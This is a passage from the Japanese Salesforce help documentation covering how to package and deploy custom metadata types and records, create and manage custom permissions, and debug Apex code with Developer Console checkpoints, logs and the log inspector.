「パッケージ」と入力し、[パッケージ]を選択してパッケージ名をクリックして
から、[追加] をクリックします。
カスタムメタデータ型を追加する手順は、次のとおりです。
1. コンポーネントの種類に [カスタムメタデータ型] を選択します。
2. パッケージに追加するカスタムメタデータ型を選択します。
3. [パッケージに追加] をクリックします。
カスタムメタデータレコードを追加する手順は、次のとおりです。
1. 利用可能なコンポーネントの種類からカスタムメタデータ型の表示ラベルを

選択します。たとえば、[脅威度階層]、あるいは、データ型が拡張している
パッケージに基づく場合は [脅威度階層 [休暇]] を選択します。
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2. 追加するレコードを選択します。
3. [パッケージに追加] をクリックします。
レコードをパッケージに追加する場合は、対応するデータ型が自動的に追加されます。
パッケージ化とインストールについての詳細は、『ISVforce ガイド』を参照してください。

メモ: カスタムメタデータ型の独自のレコードを作成した場合は、そのカスタムメタデータ型を含むパッ
ケージをアンインストールできません。

パッケージ化可能なすべてのメタデータコンポーネントと同様に、カスタムメタデータ型およびレコードも、
package.xmlにパッケージのフルネームを指定してパッケージに追加できます。たとえば、Relaxation Gauntlet

の package.xml ファイルの次のフラグメントにパッケージを指定します。
<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<fullName>Relaxation Gauntlet</fullName>
...

カスタムメタデータ型およびレコードをパッケージ化する場合のアクセスルール
カスタムメタデータ型およびレコードを含むまたは参照する管理パッケージを作成する場合は、アクセス
ルールに注意します。
カスタムメタデータ型パッケージ関する考慮事項
カスタムメタデータ型が含まれるパッケージの動作に注意してください。

カスタムメタデータ型およびレコードをパッケージ化する場合のアクセスルール

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型およびレコードを含むまたは参照する管理パッケージを
作成する場合は、アクセスルールに注意します。
パッケージ化アクセスルールにより、どの組織でカスタムメタデータレコード
の参照、更新、削除が可能かが管理されます。カスタムメタデータ型は公開さ
れていることが前提です。
• パッケージを作成した組織のシステム管理者は、対応する型の場所に関係な

く、自身のパッケージにカスタムメタデータレコードを作成できます。新規
レコードがパッケージに追加された場合、登録者組織にリリースされます。

• メタデータ API を使用して、インストール済み管理パッケージにカスタムメ
タデータレコードを作成することはできません。ただし、メタデータ APIコー
ルアウトを使用して、管理コードからでも、パッケージ化されていないレ
コードを作成できます。インストールされた管理コードには、すべてのコー
ルアウトを実行するリモートサイト設定が必要です。

• カスタムメタデータ型の項目がアップグレード可能な場合、他の組織がデー
タ型を作成した場合でも、レコード作成者は作成者の組織でそのレコードの
項目値を変更して新規バージョンのパッケージをアップロードできます。レ
コードが管理パッケージにある場合、新規バージョンへのアップグレード
時、これらの変更は登録者組織に伝播されます。
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• 項目が登録者により制御される場合、レコード作成者と登録者の両方が各自の組織で値を変更できます。
レコードが管理パッケージにある場合は、新規項目値は新規パッケージ登録者にのみ伝播されます。最新
バージョンのパッケージにアップグレードする既存の登録者は新規項目値を取得しません。

• 対応するデータ型が他の組織で作成されたものであっても、保護されたリリース済み管理レコードを、そ
れが作成された組織で削除できます。登録者がアップグレードする場合、レコードは登録者組織から削除
されます。公開リリース済み管理レコードは削除できません。

• Apexコード内のSOQLクエリでは、次の条件のいずれかを満たす場合のみカスタムメタデータレコードを参
照できます。
– レコードが公開されている。
– Apex コードがカスタムメタデータ型と同じパッケージ内にある。
– Apex コードがレコードと同じパッケージ内にある。

• メタデータ APIコールアウトが、あたかも登録者組織のコードから実行されているように動作する。このた
め、コールアウトで登録者組織が作成したすべてのレコードを参照または変更できますが、参照または変
更できるのはインストール済み管理パッケージの公開レコードのみです。リモートサイトを登録者のメタ
データ API エンドポイントに設定して、登録者の組織でメタデータ API を使用します。

カスタムメタデータ型パッケージ関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型が含まれるパッケージの動作に注意してください。
カスタムメタデータ型を含む「管理-リリース済み」パッケージをアップロード
した後は、次の操作を実行できません。
• カスタムメタデータ型に必須項目を追加する。
• 非必須項目を必須に設定する。
• アップロードされたバージョンのパッケージに含まれるカスタム項目を削除

する。アップロード後にカスタム項目を追加した場合、新規「管理-リリース
済み」バージョンをアップロードするまでは、そのカスタム項目を削除でき
ます。

• パッケージに含まれる公開カスタムメタデータレコードを削除する。
• パッケージ内の公開カスタムメタデータレコードまたはデータ型を保護に変

更する。ただし、保護レコードおよびデータ型を公開に変更することはでき
ます。

• パッケージ内のカスタム項目の管理可能性を変更する。
• 自身で作成したApexコードを使用して、インストール済みパッケージ内の保

護されたカスタムメタデータ型またはレコードをクエリする。ただし、同じ
パッケージ内の保護されたカスタムメタデータ型またはレコードをクエリす
るパッケージ化されたApexコードを実行できます。これらのクエリでは保護
されたレコードが返されます。
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変更セットを使用して、カスタムメタデータ型およびレコードを本番組織にリリース

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

変更セットを使用してカスタムメタデータ型およびレコードを Sandbox から別の
組織にリリースします。通常、変更セットは本番組織にリリースします。
Force.com ユーザインターフェースを使用して、カスタムメタデータ型およびレ
コードを変更セットに追加できます。[設定] で、[クイック検索]ボックスに「送
信変更セット」と入力し、[送信変更セット]を選択して、変更セット名をクリッ
クし、[追加] をクリックします。
カスタムメタデータ型を追加する手順は、次のとおりです。
1. コンポーネントの種類に [カスタムメタデータ型] を選択します。
2. 送信変更セットに追加するカスタムメタデータ型を選択します。
3. [変更セットに追加] をクリックします。
4. カスタム項目、ページレイアウトなどの連動コンポーネントを表示するに

は、[連動関係を参照/追加] をクリックします。
5. 追加する連動コンポーネントを選択します。
6. [変更セットに追加] をクリックします。
カスタムメタデータレコードを追加する手順は、次のとおりです。
1. 使用できるコンポーネントの種類 ([脅威度階層] など) からカスタムメタデー

タ型の表示ラベルを選択します。データ型が拡張しているパッケージに基づ
く場合は、[脅威度階層 [休暇]] を使用します。

2. 追加するレコードを選択します。
3. [変更セットに追加] をクリックします。
レコードを変更セットに追加する場合は、対応するデータ型が連動コンポーネントのリストに含まれます。レ
コードそのものは変更セットに追加されません。
変更セットのリリースについての詳細は、『開発ライフサイクルガイド』を参照してください。
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カスタム権限

カスタム権限

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与する
には、カスタム権限を使用します。
Salesforce の多くの機能では、特定の機能にアクセスできるユーザを指定するア
クセスチェックが必要です。権限セットとプロファイル設定には、オブジェク
ト、項目、タブ、Visualforce ページなどの多くのエンティティへのアクセス権が
組み込まれています。ただし、一部のカスタムプロセスとアプリケーションへ
のアクセス権は権限セットとプロファイルに含まれていません。たとえば、休
暇管理アプリケーションでは、すべてのユーザが休暇要求を送信でき、一部の
ユーザのみが休暇要求を承認する必要があります。このような制御を行う場合
にカスタム権限を使用できます。
カスタム権限ではアクセスチェックを定義できます。アクセスチェックは、ユー
ザ権限や他のアクセス設定をユーザに割り当てる場合と同様の方法で、権限セッ
トまたはプロファイルを使用してユーザに割り当てることができます。たとえ
ば、ユーザに適切なカスタム権限が付与されている場合にのみ Visualforceページ
でボタンを使用できるようにする Apex で、アクセスチェックを定義できます。
カスタム権限は次の方法でクエリできます。
• 特定のカスタム権限へのアクセス権があるユーザを判別するには、

SetupEntityAccess および CustomPermission sObject を含む Salesforce Object Query

Language (SOQL) を使用します。
• 接続アプリケーションでの認証時にユーザに付与されているカスタム権限を

判別するには、ユーザの ID URL を参照します。この URL は、Salesforce によっ
て接続アプリケーションのアクセストークンと共に提供されます。

関連トピック:

カスタム権限の作成
必須カスタム権限の追加または削除
権限セットでのカスタム権限の有効化
プロファイルでのカスタム権限の有効化
ID URL

6846

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



カスタム権限の作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

カスタム権限を作成する
• 「カスタム権限の管

理」

カスタム権限を作成して、ユーザにカスタムプロセスまたはカスタムアプリケー
ションへのアクセス権を付与することができます。
1. [設定] から、[クイック検索] ボックスに「カスタム権限」と入力し、[カスタ

ム権限] を選択します。
2. [新規] をクリックします。
3. 次の権限情報を入力します。

• 表示ラベル  — 権限セットに表示される権限表示ラベル
• 名前  — API および管理パッケージで使用される一意の名前
• 説明  — (省略可能) この権限によってアクセス権が付与される機能の説明

(「休暇要求承認」など)

• 接続アプリケーション  — (省略可能) この権限に関連付けられた接続アプリ
ケーション

4. [保存] をクリックします。

関連トピック:

カスタム権限
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カスタム権限の編集

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

カスタム権限を編集する
• 「カスタム権限の管

理」

カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与する
カスタム権限を編集します。
1. [設定] から、[クイック検索] ボックスに「カスタム権限」と入力し、[カスタ

ム権限] を選択します。
2. 変更する権限の横にある [編集] をクリックします。
3. 必要に応じて権限情報を編集します。

• 表示ラベル  — 権限セットに表示される権限表示ラベル
• 名前  — API および管理パッケージで使用される一意の名前
• 説明  — (省略可能) この権限によってアクセス権が付与される機能の説明

(「休暇要求承認」など)

• 接続アプリケーション  — (省略可能) この権限に関連付けられた接続アプリ
ケーション

4. [保存] をクリックします

関連トピック:

カスタム権限
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必須カスタム権限の追加または削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

必須カスタム権限を追加
または削除する
• 「カスタム権限の管

理」

必要なカスタム権限とは、親カスタム権限が有効になっている場合に有効になっ
ている必要があるカスタム権限です。たとえば、カスタム権限「休暇要求承認」
があり、それにカスタム権限「休暇要求送信」が必須と指定することができま
す。
1. [設定] から、[クイック検索] ボックスに「カスタム権限」と入力し、[カスタ

ム権限] を選択します。
2. 既存のカスタム権限を作成または選択します。
3. [必須カスタム権限] 関連リストで、[編集] をクリックします。
4. [利用可能なカスタム権限] リストから追加するカスタム権限を選択して [追

加]をクリックするか、[必須カスタム権限] リストから削除するカスタム権限
を選択して [削除] をクリックします。

5. [保存] をクリックします

関連トピック:

カスタム権限

コードのデバッグ

記述したコードのデバッグのために、チェックポイント、ログ、[View State (ビュー
ステート)] タブを使用します。

[Checkpoints (チェックポイント)] タブ
[Checkpoints (チェックポイント)] タブには保存されたチェックポイントのリ
ストが表示されます。各チェックポイントには、そのチェックポイントに到
達した時点におけるメモリ内のオブジェクトの状態のスナップショットが保
持されています。
Apex コードへのチェックポイントの設定
Apex クラスとトリガをデバッグするには、開発者コンソールのチェックポイントを使用します。Visualforce

マークアップにはチェックポイントを設定できません。
チェックポイントインスペクタ
チェックポイントを使用して、特定の実行時点でメモリに存在するオブジェクトを調査し、それらのオブ
ジェクトを参照する他のオブジェクトを確認します。
[Logs (ログ)] タブ
開発者コンソールの [Logs (ログ)] タブを使用して、データベースイベント、Apex処理、ワークフロー、コー
ルアウト、および入力規則ロジックを含む、ログにアクセスします。
ログインスペクタ
ログインスペクタは、操作のソース、その操作のトリガ、その後の状況を表示する、コンテキスト依存の
実行ビューアです。このツールを使用して、データベースイベント、Apex 処理、ワークフロー、および入
力規則ロジックを含むデバッグログを検査できます。
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[View State (ビューステート)] タブ
開発者コンソールの[表示状態]タブでは、Visualforceページ要求のビューステートを調べることができます。
デバッグログ
デバッグログを使用して、組織で発生するイベントを追跡します。デバッグログが生成されるのは、有効
なユーザベースの追跡フラグがある場合、Apexテストを実行した場合、実行したコードまたは API 要求にデ
バッグパラメータまたはヘッダーが含まれている場合です。

[Checkpoints (チェックポイント)] タブ
[Checkpoints (チェックポイント)] タブには保存されたチェックポイントのリストが表示されます。各チェック
ポイントには、そのチェックポイントに到達した時点におけるメモリ内のオブジェクトの状態のスナップショッ
トが保持されています。

Checkpoints (チェックポイント)
このリストには、現在確認に使用可能なチェックポイントが表示されます。開発者コンソールを開いた後に生
成されたチェックポイントのみを表示するには、[Debug (デバッグ)] > [My Current Checkpoints Only (自分の現在
のチェックポイントのみ)]を選択します。組織で現在保存されているすべてのチェックポイントを、他のユー
ザによって新しく生成されたチェックポイントも含めて表示するには、このオプションを選択解除します。
リストの各チェックポイントには次の情報が表示されます。

説明列

チェックポイントが含まれるパッケージの名前空間。Namespace (名前空間)

チェックポイントが含まれる Apex クラス。Class (クラス)

チェックポイントでマークされた行番号。Line (行)

チェックポイントに到達した時刻。Time (時間)

その列の情報を並び替えるには、列ヘッダーを右クリックします。[Checkpoints (チェックポイント)] リストに表
示する列を選択することもできます。
チェックポイントを開くには、ダブルクリックします。チェックポイントがチェックポイントインスペクタで
開きます。
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Checkpoint Locations (チェックポイントの場所)
このリストには、ソースコード内の各チェックポイントの場所が表示されます。リストの各項目では次の情報
が表示されます。

説明列

チェックポイントが含まれる Apex クラスの名前。File (ファイル)

チェックポイントでマークされた行番号。Line (行)

チェックポイントがループ内にある場合、この値は何回目の反復でチェックポイント
を取得するかを示します。

Iteration (反復)

デフォルトでは反復は 1 です。つまり、チェックポイントはソースコード行の初回の実行時に保存されます。
異なる反復を使用できます。たとえば、ループが予期した時点で終了しない理由を調査する場合などです。反
復を変更するには、変更するセルをクリックし、新しい数値を入力します。特定のコード行に対して取得され
るチェックポイントは、その行が 1 回の要求中に実行される回数に関係なく 1 つのみです。
チェックポイントの場所はソースコードエディタで設定します。チェックポイントの場所は、[Clear (クリア)]

をクリックするか開発者コンソールを閉じるまで保持されます。

関連トピック:

チェックポイントインスペクタ
Apex コードへのチェックポイントの設定
Apex コードと SOQL ステートメントのオーバーレイ表示
開発者コンソールの機能

Apex コードへのチェックポイントの設定
Apex クラスとトリガをデバッグするには、開発者コンソールのチェックポイントを使用します。Visualforceマー
クアップにはチェックポイントを設定できません。

重要: チェックポイントを使用するには、[Apex Log Level (Apex ログレベル)] を [Finer (より詳細)]または [Finest

(最も詳細)] に設定する必要があります。「ログレベルの設定」を参照してください。
新規チェックポイントを作成する手順は、次のとおりです。
1. ソースコードエディタで Apex クラスまたはトリガを開きます。
2. チェックポイントを設定する行番号の左側の余白をクリックします。同時に有効にできるチェックポイン

トは最大 5 個です。
コード行が実行される回数に関係なく、チェックポイントの結果が取得されるのは 1 回のみです。デフォ
ルトでは、チェックポイントの結果は、コード行の初回の実行の直前に取得されます。[Checkpoints (チェッ
クポイント)] タブの [Checkpoint Locations (チェックポイントの場所)] リストで取得までの反復を変更できま
す。コードがチェックポイントで実行されるときに行われる Apex コードと SOQL ステートメントをフロー
ト表示することもできます。
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3. 開発者コンソールを開いた状態でコードを実行します。
4. [Checkpoints (チェックポイント)] タブにチェックポイントと結果が表示されます。
チェックポイントは、[Debug (デバッグ)] > [Clear Checkpoint Locations (チェックポイントの位置を解除)]をクリッ
クするまで存続します。

メモ: @futureアノテーションが付加されているメソッドにチェックポイントを設定した場合、@future

メソッドが非同期に完了するまで、開発者コンソールを開いたままにしておく必要があります。

Apex コードと SOQL ステートメントのオーバーレイ表示
開発者コンソールを使用すると、コードを変更せずに、Apex コードがチェックポイントで実行されるとき
に行われる診断をオーバーレイ表示できます。

関連トピック:

ログインスペクタ
Apex コードと SOQL ステートメントのオーバーレイ表示
[Checkpoints (チェックポイント)] タブ
チェックポイントインスペクタ

Apex コードと SOQL ステートメントのオーバーレイ表示
開発者コンソールを使用すると、コードを変更せずに、Apex コードがチェックポイントで実行されるときに行
われる診断をオーバーレイ表示できます。
「Apex コードへのチェックポイントの設定」を参照してください。
実行時の問題をトラブルシューティングする場合、変数の状態またはデータベースの状態に関する情報が必要
となる場合があります。また、コードをテストするための特定の条件を作り出すことも必要となる場合があり
ます。開発者コンソールを使用すると、コードがチェックポイントで実行されるときに行われる Apex コード
と SOQL ステートメントをオーバーレイ表示できます。
1. チェックポイントを設定してコードを実行し、[Checkpoints (チェックポイント)] タブに移動します。
2. チェックポイントを選択して、[Edit Properties (プロパティを編集)] をクリックします。
3. [SOQL] または [Apex Code (Apex コード)] を選択します。チェックポイントでヒープダンプを生成せずに診断

用コードを実行するには、[Dump Heap (ダンプヒープ)] を選択解除します。

4. [Action Script (アクションスクリプト)] ボックスに SOQL または Apex コードを入力し、[OK] をクリックしま
す。

6852

Apex コードへのチェックポイントの設定コードを使用した Salesforce の拡張

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.apexcode.meta/apexcode/apex_classes_annotation_future.htm


メモ: 匿名ブロックが新しいスタックフレームであるため、ローカルオブジェクトを参照することは
できません。静的オブジェクトを参照するか、新しいオブジェクトを作成します。また、オーバーレ
イ表示で使用される SOQL クエリにバインド変数を使用することはできません。

オーバーレイ表示されたコードの結果は、チェックポイントインスペクタで別途 [Query Results (クエリ結果)]

タブまたは [Apex Execution Results (Apex 実行結果)] タブに表示されます。クエリ結果の操作の詳細は、「開発
者コンソールのクエリエディタ」を参照してください。

メモ: [Apex Execution Results (Apex 実行結果)] タブで、値 -1 は、項目が該当しないことを示します。

関連トピック:

Apex コードへのチェックポイントの設定
[Checkpoints (チェックポイント)] タブ
チェックポイントインスペクタ

チェックポイントインスペクタ
チェックポイントを使用して、特定の実行時点でメモリに存在するオブジェクトを調査し、それらのオブジェ
クトを参照する他のオブジェクトを確認します。
[Checkpoints (チェックポイント)] タブに移動し、チェックポイントをダブルクリックしてチェックポイントイン
スペクタに結果を表示します。チェックポイントインスペクタには、コレクション内の個々の項目など、ログ
インスペクタよりも詳細な変数情報が表示されます。
チェックポイントインスペクタには、次の 2 つのタブがあります。
• [Heap (ヒープ)] タブには、チェックポイントが設定されたコード行の実行時点でメモリ内にあるすべてのオ

ブジェクトが表示されます。項目がリストされ、データ型別に分類されます。

– [Types (種別)] 列は、チェックポイント時点にメモリ内でインスタンス化されているオブジェクトすべて
のクラスのフラットリストで、インスタンス化数やメモリ使用量 (バイト) が表示されます。項目をク
リックすると、[Instances (インスタンス)] 列に、該当オブジェクトとそれぞれが使用しているヒープおよ
びメモリのアドレスのリストが表示されます。インスタンスをクリックすると、[State (状態)] 列にその
オブジェクトで現在設定されている変数が表示されます。
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– [References (参照)] タブでは、2 つのリストに、メモリに保持される記号の関係が表示されます。[Inbound

References (被参照)] リストを使用して、特定の種別のオブジェクトへの参照を保持できる記号を検索しま
す。[Referencing Instances (参照側インスタンス)] リストを使用して、記号への参照を保持する特定のイン
スタンスを検索します。ヒープの他の場所のインスタンスを検索するにはダブルクリックします。

– [Search (検索)] タブでは、ヒープ内の記号を値またはアドレスで検索できます。検索は記号の値では部分
一致を行いますが、アドレスは完全一致である必要があります。値をすばやく検索するには、[State (状
態)] パネルにマウスポインタを置くと値の右側に表示される、検索アイコン ( ) をクリックします。

• [Symbols (記号)] タブには、チェックポイント時点でメモリ内にあるすべての記号のツリービューが表示され
ます。このタブを使用すると、チェックポイントが設定された特定のコード行 (および反復) でのシステム
の状態をすばやく確認できます。

重要:  Mac でチェックポイントインスペクタのパネルにスクロールバーが表示されない場合は、[システム
環境設定] > [一般] を開き、[スクロールバーを表示] を [常に表示] に設定します。

関連トピック:

[Checkpoints (チェックポイント)] タブ
Apex コードへのチェックポイントの設定
Apex コードと SOQL ステートメントのオーバーレイ表示

[Logs (ログ)] タブ
開発者コンソールの [Logs (ログ)] タブを使用して、データベースイベント、Apex 処理、ワークフロー、コール
アウト、および入力規則ロジックを含む、ログにアクセスします。
開発者コンソールでは、現在のユーザのデバッグログが自動的にポーリングされ、[Logs (ログ)] タブにリスト
表示されます。たとえば、新規レコードの挿入に関連付けられている入力規則があり、新規レコードが挿入さ
れた場合、開発者コンソールは要求のデバッグログを取得してリストに追加します。

• 選択したログをログインスペクタで開くには、[File (ファイル)] > [Open Log (ログを開く)] をクリックする
か、[Logs (ログ)] タブでログをダブルクリックします。ログインスペクタを使用して、デバッグログの確
認、Apex コードの評価、DML の追跡、パフォーマンスの監視などを行うことができます。
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• 選択したログをテキストエディタで開くには、[File (ファイル)] > [Open Raw Log (未加工のログを開く)] をク
リックします。

• 表示されるログを絞り込むには、[Filter (検索条件)]をクリックして、リストするログに含まれるテキストを
入力します。たとえば、特定のユーザのデバッグログを表示する場合は、ユーザ名を入力します。フィル
タでは、大文字と小文字は区別されます。

• リストからすべてのログを削除するには、[Debug (デバッグ)] > [Clear (クリア)] > [Log Panel (ログパネル)] を
クリックします。

• デフォルトでは、[Logs (ログ)]タブには、現在のユーザが生成した新規ログのみが表示されます。他のユー
ザによって新しく生成されたログも含めて、組織で保存されているすべてのデバッグログを表示するには、
[Debug (デバッグ)]をクリックして [Show My Current Logs Only (私の現在のログのみ表示)]を選択解除します。

• 次回のページ更新時にすべての既存ログを自動的に非表示にするには、[Debug (デバッグ)]をクリックして
[Auto Hide Logs (ログを自動で非表示)] を選択します。

• 選択したログのコピーをテキストファイルとしてダウンロードするには、[File (ファイル)] > [Download Log

(ログをダウンロード)] をクリックします。ファイルのデフォルト名は、apex.log です。
• 開発者コンソールを開いたときにログが読み込まれないようにするには、[Help (ヘルプ)] > [Preferences (個

人設定)] に移動し、[Prevent Logs on Load (ログオン時の読み込みを防止)] を true に設定します。

メモ: ユーザログは、組織の [Debug Log (デバッグログ)] ページで設定します。[設定] から、[クイック検索]

ボックスに「デバッグログ」と入力し、[デバッグログ] を選択します。

ログレベルの設定
ログレベルでは、デバッグログに保存する要求情報の量を決定します。サイズの大きいログの解析には長時間
かかる場合があります。ログのサイズを小さくするには、ログレベルを調整します。レビューするコードには
冗長ログを使用します。対象外のコードには簡易ログを使用します。
今後の要求のログレベルを指定するには、[Debug (デバッグ)] > [Change Log Levels (ログレベルを変更)]をクリッ
クします。このページでは、追跡フラグとデバッグレベルを定義できます。
特定のクラスまたはトリガのデフォルトのログレベルを上書きするか、ユーザのログを設定するには、期間と
デバッグレベルを含む追跡フラグを追加します。
変更を保存してウィンドウを閉じるには、[Done (完了)] をクリックします。

メモ: チェックポイントを使用してデバッグするには、Apex コードのログレベルを [FINER (より詳細)] また
は [FINEST (最も詳細)] に設定します (リリースの場合、[FINEST (最も詳細)] は使用しないでください)。

各設定による制御内容の詳細は、「デバッグログカテゴリ」および「デバッグログレベル」.を参照してくだ
さい。

重要: 開発者コンソールが開いていると、開発者コンソールで定義された一般ログレベルが、リリース時
に作成したログを含むすべてのログに適用されます。リリースを実行する前に、Apex コードのログレベ
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ルが [Finest (最も詳細)] に設定されていないことを確認してください。[Finest (最も詳細)] に設定されている
と、リリースの実行時間が予想以上に長くなります。

関連トピック:

デバッグログの設定
開発者コンソールの [Debug (デバッグ)] メニュー
ログインスペクタ
デバッグログレベル
デバッグログの優先順位

ログインスペクタ
ログインスペクタは、操作のソース、その操作のトリガ、その後の状況を表示する、コンテキスト依存の実行
ビューアです。このツールを使用して、データベースイベント、Apex処理、ワークフロー、および入力規則ロ
ジックを含むデバッグログを検査できます。
ログインスペクタに表示されるパネルは、選択したパースペクティブによって異なります。パースペクティブ
を切り替えるには、[Debug (デバッグ)] > [Switch Perspective (パースペクティブを切り替え)]をクリックします。
デフォルトパースペクティブおよびカスタムパースペクティブについての詳細は、「ログインスペクタのパー
スペクティブの管理」を参照してください。

ログパネル
ログインスペクタには、次のパネルを含めることができます。
• Stack Tree (スタックツリー)

• Execution Stack (実行スタック)

• Execution Log (実行ログ)

• Source (ソース)

• Variables (変数)

• Execution Overview (実行概要)

[Debug (デバッグ)] > [View Log Panels (ログパネルを参照)] をクリックするか Ctrl+P キーを押して使用可能なパネ
ルから選択し、カスタムパースペクティブを設計します。

再度使用するカスタムパースペクティブを設計する場合、[Debug (デバッグ)] > [Save Perspective (パースペクティ
ブを保存)]をクリックして、覚えやすい名前を付けます。カスタムパースペクティブを保存したら、ログイン
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スペクタの使用時に [Debug (デバッグ)] > [Switch Perspective (パースペクティブを切り替え)] をクリックすれば
いつでも選択できます。
関連するパネルで項目をクリックすると、ほとんどのパネルが自動的に更新されて情報が表示されます。たと
えば、[Stack Tree (スタックツリー)] パネルでフォルダをクリックすると、[Execution Stack (実行スタック)]、[Execution

Log (実行ログ)]、および [Source (ソース)] パネルが更新され、関連するオブジェクトに関する情報が表示されま
す。同様に、[Execution Log (実行ログ)] で行をクリックすると、[Stack Tree (スタックツリー)]、[Execution Stack (実行
スタック)]、および [Source (ソース)] パネルがすべて更新され、その行の詳細が表示されます。[Execution Overview

(実行概要)] の [Executed Units (実行単位)] タブで項目をクリックすると、[Execution Log (実行ログ)]、[Stack Tree (ス
タックツリー)]、[Execution Stack (実行スタック)]、および [Source (ソース)] パネルが更新されます。

Stack Tree (スタックツリー)
[Stack Tree (スタックツリー)] パネルでは、2 つのツリービューに、情報が起動元コールから次の下位レベルへ
「トップダウン」方式で表示され、プロセス内の項目の階層を確認できます。たとえば、あるクラスが第 2 ク
ラスをコールすると、その第 2 クラスは第 1 クラスの子ノードとして表示されます。
[Execution Tree (実行ツリー)] には、各操作が表示されます。たとえば、for ループが System.debug() を 8 回
コールする場合、[Execution Tree (実行ツリー)] には各コールの実行時間が表示されます。

[Performance Tree (パフォーマンスツリー)] では、操作のパフォーマンス全体を把握しやすいように、操作が集計
されて表示されます。次の画面では、上記と同じ例を使用して、[Performance Tree (パフォーマンスツリー)] に
debug への各コールの合計実行時間が表示されています。

このログは、[Execute Anonymous (匿名実行)] ウィンドウから生成されています。コードの他の場所からの debug

やその他のメソッドへのコールは、実行単位で集計されます。
[Stack Tree (スタックツリー)] パネルの各セクションには次の情報が含まれます。

説明列

ワークフロー、クラス、DML など、プロセス内部の区切られた領域Scope (範囲)

項目 (領域) の名前Unit (単位)
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説明列

その項目が実行に要した時間 (ミリ秒)Duration (所要時間)

項目が使用したヒープ量 (バイト)Heap (ヒープ)

その項目がコールされた回数Iterations (反復)

Execution Stack (実行スタック)
[Execution Stack (実行スタック)] パネルには、デバッグログで現在選択されている項目の「ボトムアップ」ビュー
が表示されます。このビューは最下位レベルのコールを起点として、そのコールをトリガした操作へと続きま
す。

Execution Log (実行ログ)
[Execution Log (実行ログ)] パネルには、現在のプロセスのデバッグログが含まれます。デバッグログには、メソッ
ド呼び出し、ワークフロールール、DML 操作など、プロセス内で発生したすべてのアクションが含まれていま
す。ビュー内で切り捨てられている長い行を表示するには、行の上にマウスポインタを置くとポップアップが
表示されます。

[Execution Log (実行ログ)] を使用して、プロセスのステップスルーを再追跡できます。また、自分が作成した行
をステップスルーしたり、ログを特に関心のある行に絞り込むこともできます。
• This Frame (このフレーム): プロセスのこの領域のみ、またはそのレベルに関連付けられている項目のみが表

示されます。たとえば、クラスをコールするトリガを選択した場合、そのトリガ操作のみが表示されます。
CODE_UNIT_STARTED をクリックして [This Frame (このフレーム)] を選択すると、プロセス内の
CODE_UNIT_STARTEDからそれに関連付けられた CODE_UNIT_ENDEDまでの間に発生した項目だけが表示
されます。
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• Executable (実行可能): 実行可能な項目のみがデバッグログに表示されます。この場合、作成された SOQL ク
エリ数や DML 行数など、累積的な制限情報は表示されません。

ヒント: [Executable (実行可能)] は常にオンにしておきます。プロセスを最適化する場合や、特定の制
限情報が必要な場合にのみオフにしてください。

• Debug Only (デバッグのみ): コードに追加した debug ステートメントのみが表示されます。
• Filter (検索条件): 関連付けられた項目に入力した条件に一致する項目が表示されます。たとえば、[Filter (検

索条件)]を選択して、「DML」と入力すると、イベントまたは詳細のいずれかに文字列「DML」が含まれる
実行ログの行のみが表示されます。フィルタでは、大文字と小文字は区別されます。

[Execution Log (実行ログ)] パネルには、次の情報が含まれます。

説明列

プロセスが開始したシステム時刻。ローカルユーザの時間で表示されます。形式は
HH:MM:SS:MSS です。

Timestamp (タイムス
タンプ)

デバッグイベント。Event (イベント)

行番号、パラメータなど、イベントに付随するその他の詳細。Details (詳細)

Source (ソース)
[Source (ソース)] パネルには、実行されたソースコードや、プロセス中に使用されたエンティティのメタデータ
定義が含まれ、コード行が実行された回数が表示されます。パネルに表示される内容は、ビューの他の場所で
何が選択されているかによって異なります。
特定のコード行に移動するには、[Source (ソース)] パネルの下部にある入力ボックスに行番号を入力し、[Jump

(ジャンプ)] をクリックします。
実行されたソースコードをソースコードエディタビューに表示するには、[Open (開く)] をクリックします。

メモ: プロセス中に入力規則やワークフローが実行されると、そのメタデータ表現が [Source (ソース)] パネ
